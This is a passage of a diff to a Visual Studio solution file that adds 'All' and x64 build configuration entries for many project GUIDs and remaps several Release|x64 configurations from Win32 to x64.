+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Debug|x64.Build.0 = Debug|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|Win32.ActiveCfg = Release|Win32
 		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|Win32.Build.0 = Release|Win32
-		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.ActiveCfg = Release|Win32
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.ActiveCfg = Release|x64
+		{E3246D17-E29B-4AB5-962A-C69B0C5837BB}.Release|x64.Build.0 = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|Win32.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|x64.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.All|x64.Build.0 = Release|x64
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|Win32.ActiveCfg = Debug|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|Win32.Build.0 = Debug|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|x64.ActiveCfg = Debug|Win32
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Debug|x64.Build.0 = Debug|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|Win32.ActiveCfg = Release|Win32
 		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|Win32.Build.0 = Release|Win32
-		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.ActiveCfg = Release|Win32
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.ActiveCfg = Release|x64
+		{36E854E3-CE12-4348-A125-CCF3F9D74813}.Release|x64.Build.0 = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|Win32.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|x64.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.All|x64.Build.0 = Release|x64
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|Win32.Build.0 = Debug|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|x64.ActiveCfg = Debug|Win32
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Debug|x64.Build.0 = Debug|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|Win32.ActiveCfg = Release|Win32
 		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|Win32.Build.0 = Release|Win32
-		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.ActiveCfg = Release|Win32
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.ActiveCfg = Release|x64
+		{7B077E7F-1BE7-4291-AB86-55E527B25CAC}.Release|x64.Build.0 = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|Win32.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|x64.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.All|x64.Build.0 = Release|x64
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|Win32.Build.0 = Debug|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|x64.ActiveCfg = Debug|Win32
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Debug|x64.Build.0 = Debug|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|Win32.ActiveCfg = Release|Win32
 		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|Win32.Build.0 = Release|Win32
-		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.ActiveCfg = Release|Win32
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.ActiveCfg = Release|x64
+		{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}.Release|x64.Build.0 = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|Win32.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|x64.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.All|x64.Build.0 = Release|x64
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|Win32.Build.0 = Debug|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|x64.ActiveCfg = Debug|Win32
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Debug|x64.Build.0 = Debug|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|Win32.ActiveCfg = Release|Win32
 		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|Win32.Build.0 = Release|Win32
-		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.ActiveCfg = Release|Win32
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.ActiveCfg = Release|x64
+		{CEE544A9-0303-44C2-8ECE-EFA7D7BCBBBA}.Release|x64.Build.0 = Release|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|Win32.ActiveCfg = Debug|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|x64.ActiveCfg = Debug|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.All|x64.Build.0 = Debug|x64
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|Win32.Build.0 = Debug|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|x64.ActiveCfg = Debug|Win32
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Debug|x64.Build.0 = Debug|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|Win32.ActiveCfg = Release|Win32
 		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|Win32.Build.0 = Release|Win32
-		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.ActiveCfg = Release|Win32
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.ActiveCfg = Release|x64
+		{0D108721-EAE8-4BAF-8102-D8960EC93647}.Release|x64.Build.0 = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|Win32.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|x64.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.All|x64.Build.0 = Release|x64
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|Win32.Build.0 = Debug|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|x64.ActiveCfg = Debug|Win32
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Debug|x64.Build.0 = Debug|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|Win32.ActiveCfg = Release|Win32
 		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|Win32.Build.0 = Release|Win32
-		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.ActiveCfg = Release|Win32
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.ActiveCfg = Release|x64
+		{B535402E-38D2-4D54-8360-423ACBD17192}.Release|x64.Build.0 = Release|x64
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|Win32.ActiveCfg = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|Win32.Build.0 = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.All|x64.ActiveCfg = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|Win32.ActiveCfg = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|Win32.Build.0 = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|x64.ActiveCfg = Debug|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Debug|x64.Build.0 = Debug|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|Win32.ActiveCfg = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|Win32.Build.0 = Release|Win32
 		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|x64.ActiveCfg = Release|Win32
+		{4F92B672-DADB-4047-8D6A-4BB3796733FD}.Release|x64.Build.0 = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|Win32.ActiveCfg = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|Win32.Build.0 = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.All|x64.ActiveCfg = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|Win32.Build.0 = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|x64.ActiveCfg = Debug|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.Debug|x64.Build.0 = Debug|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|Win32.ActiveCfg = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|Win32.Build.0 = Release|Win32
 		{2DEE4895-1134-439C-B688-52203E57D878}.Release|x64.ActiveCfg = Release|Win32
+		{2DEE4895-1134-439C-B688-52203E57D878}.Release|x64.Build.0 = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|Win32.ActiveCfg = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|Win32.Build.0 = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.All|x64.ActiveCfg = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|Win32.Build.0 = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|x64.ActiveCfg = Debug|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Debug|x64.Build.0 = Debug|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|Win32.ActiveCfg = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|Win32.Build.0 = Release|Win32
 		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|x64.ActiveCfg = Release|Win32
+		{AF8163EE-FA76-4904-A11D-7D70A1B5BA2E}.Release|x64.Build.0 = Release|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|Win32.ActiveCfg = Debug|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|x64.ActiveCfg = Debug|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.All|x64.Build.0 = Debug|x64
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|Win32.Build.0 = Debug|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|x64.ActiveCfg = Debug|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Debug|x64.Build.0 = Debug|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|Win32.ActiveCfg = Release|Win32
 		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|Win32.Build.0 = Release|Win32
-		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.ActiveCfg = Release|Win32
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.ActiveCfg = Release|x64
+		{2F025EAD-99BD-40F5-B2CC-F0A28CAD7F2D}.Release|x64.Build.0 = Release|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|Win32.ActiveCfg = Debug|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|x64.ActiveCfg = Debug|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.All|x64.Build.0 = Debug|x64
 		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|Win32.ActiveCfg = Debug|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|Win32.Build.0 = Debug|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|x64.ActiveCfg = Debug|Win32
+		{94001A0E-A837-445C-8004-F918F10D0226}.Debug|x64.Build.0 = Debug|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Release|Win32.ActiveCfg = Release|Win32
 		{94001A0E-A837-445C-8004-F918F10D0226}.Release|Win32.Build.0 = Release|Win32
-		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.ActiveCfg = Release|Win32
+		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.ActiveCfg = Release|x64
+		{94001A0E-A837-445C-8004-F918F10D0226}.Release|x64.Build.0 = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|Win32.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|x64.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.All|x64.Build.0 = Release|x64
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|Win32.Build.0 = Debug|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|x64.ActiveCfg = Debug|Win32
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Debug|x64.Build.0 = Debug|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|Win32.ActiveCfg = Release|Win32
 		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|Win32.Build.0 = Release|Win32
-		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.ActiveCfg = Release|Win32
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.ActiveCfg = Release|x64
+		{2286DA73-9FC5-45BC-A508-85994C3317AB}.Release|x64.Build.0 = Release|x64
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|Win32.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|Win32.Build.0 = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|x64.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.All|x64.Build.0 = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|Win32.Build.0 = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|x64.ActiveCfg = Debug|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Debug|x64.Build.0 = Debug|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|Win32.ActiveCfg = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|Win32.Build.0 = Release|Win32
 		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|x64.ActiveCfg = Release|Win32
+		{3CE1DC99-8246-4DB1-A709-74F19F08EC67}.Release|x64.Build.0 = Release|Win32
+		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.All|Win32.ActiveCfg = Release|Win32
+		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.All|x64.ActiveCfg = Release|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Debug|Win32.ActiveCfg = Debug|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Debug|x64.ActiveCfg = Debug|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Release|Win32.ActiveCfg = Release|Win32
 		{87A1FE3D-F410-4C8E-9591-8C625985BC70}.Release|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|Win32.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|Win32.Build.0 = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.All|x64.Build.0 = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|Win32.Build.0 = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|x64.ActiveCfg = Debug|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Debug|x64.Build.0 = Debug|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|Win32.ActiveCfg = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|Win32.Build.0 = Release|Win32
 		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|x64.ActiveCfg = Release|Win32
+		{7A8D8174-B355-4114-AFC1-04777CB9DE0A}.Release|x64.Build.0 = Release|Win32
+		{7EB71250-F002-4ED8-92CA-CA218114537A}.All|Win32.ActiveCfg = Release|Win32
+		{7EB71250-F002-4ED8-92CA-CA218114537A}.All|x64.ActiveCfg = Release|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Debug|Win32.ActiveCfg = Debug|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Debug|x64.ActiveCfg = Debug|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Release|Win32.ActiveCfg = Release|Win32
 		{7EB71250-F002-4ED8-92CA-CA218114537A}.Release|x64.ActiveCfg = Release|Win32
+		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.All|Win32.ActiveCfg = Release|Win32
+		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.All|x64.ActiveCfg = Release|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Debug|x64.ActiveCfg = Debug|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Release|Win32.ActiveCfg = Release|Win32
 		{6E49F6C2-ADDA-4BFB-81FE-AB9AF51B455F}.Release|x64.ActiveCfg = Release|Win32
+		{464AAB78-5489-4916-BE51-BF8D61822311}.All|Win32.ActiveCfg = Release|Win32
+		{464AAB78-5489-4916-BE51-BF8D61822311}.All|x64.ActiveCfg = Release|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Debug|Win32.ActiveCfg = Debug|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Debug|x64.ActiveCfg = Debug|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Release|Win32.ActiveCfg = Release|Win32
 		{464AAB78-5489-4916-BE51-BF8D61822311}.Release|x64.ActiveCfg = Release|Win32
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|Win32.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|x64.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.All|x64.Build.0 = Release|x64
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|Win32.Build.0 = Debug|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|x64.ActiveCfg = Debug|Win32
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Debug|x64.Build.0 = Debug|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|Win32.ActiveCfg = Release|Win32
 		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|Win32.Build.0 = Release|Win32
-		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.ActiveCfg = Release|Win32
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.ActiveCfg = Release|x64
+		{0AD1177E-1FD8-4643-9391-431467A11084}.Release|x64.Build.0 = Release|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|Win32.ActiveCfg = Release Static|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|x64.ActiveCfg = Release Static|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.All|x64.Build.0 = Release Static|x64
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|Win32.ActiveCfg = Debug|Win32
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|Win32.Build.0 = Debug|Win32
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|x64.ActiveCfg = Debug|Win32
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Debug|x64.Build.0 = Debug|Win32
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|Win32.ActiveCfg = Release|Win32
 		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|Win32.Build.0 = Release|Win32
-		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|x64.ActiveCfg = Release|Win32
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|x64.ActiveCfg = Release|x64
+		{66444AEE-554C-11DD-A9F0-8C5D56D89593}.Release|x64.Build.0 = Release|x64
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82FDD086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB2086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB3086DB1B}.Release|x64.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|Win32.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|Win32.Build.0 = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.All|x64.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|Win32.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|x64.ActiveCfg = Debug|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Debug|x64.Build.0 = Debug|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|Win32.ActiveCfg = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|Win32.Build.0 = Release|Win32
 		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|x64.ActiveCfg = Release|Win32
+		{D5D2BF72-29FE-4982-A9FA-82AB1086DB1B}.Release|x64.Build.0 = Release|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|Win32.ActiveCfg = Debug|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|x64.ActiveCfg = Debug|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.All|x64.Build.0 = Debug|x64
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|Win32.Build.0 = Debug|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|x64.ActiveCfg = Debug|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Debug|x64.Build.0 = Debug|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|Win32.ActiveCfg = Release|Win32
 		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|Win32.Build.0 = Release|Win32
-		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.ActiveCfg = Release|Win32
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.ActiveCfg = Release|x64
+		{E316772F-5D8F-4F2A-8F71-094C3E859D34}.Release|x64.Build.0 = Release|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|Win32.ActiveCfg = Debug|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|x64.ActiveCfg = Debug|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.All|x64.Build.0 = Debug|x64
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|Win32.Build.0 = Debug|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|x64.ActiveCfg = Debug|Win32
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Debug|x64.Build.0 = Debug|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|Win32.ActiveCfg = Release|Win32
 		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|Win32.Build.0 = Release|Win32
-		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.ActiveCfg = Release|Win32
